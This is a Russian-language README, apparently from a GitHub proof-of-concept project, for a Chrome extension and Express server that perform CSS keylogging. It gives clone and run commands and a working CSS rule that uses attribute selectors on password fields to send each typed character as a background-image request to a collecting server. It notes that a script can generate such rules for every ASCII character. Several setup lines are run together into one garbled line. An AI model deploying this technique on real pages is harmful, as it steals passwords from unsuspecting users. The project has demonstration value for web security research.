
Расширение для Chrome и сервер Express, использующие возможности CSS для перехвата нажатий клавиш.
Chrome-расширение и Express-сервер, использующие возможности CSS для кейлоггинга.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions (или откройте меню Chrome, нажав на иконку с тремя горизонтальными полосами справа от адресной строки, и выберите «Расширения» в меню «Дополнительные инструменты»).css-keylogger-extension в директории, куда вы скачали репозиторий.yarnyarn startАтака очень проста. Используя CSS-селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки background-image.
Например, следующий CSS выберет все поля ввода с type равным password и value, оканчивающимся на a. Затем он попытается загрузить изображение с http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
С помощью простого скрипта можно создать CSS-файл, который будет отправлять собственный запрос для каждого символа ASCII.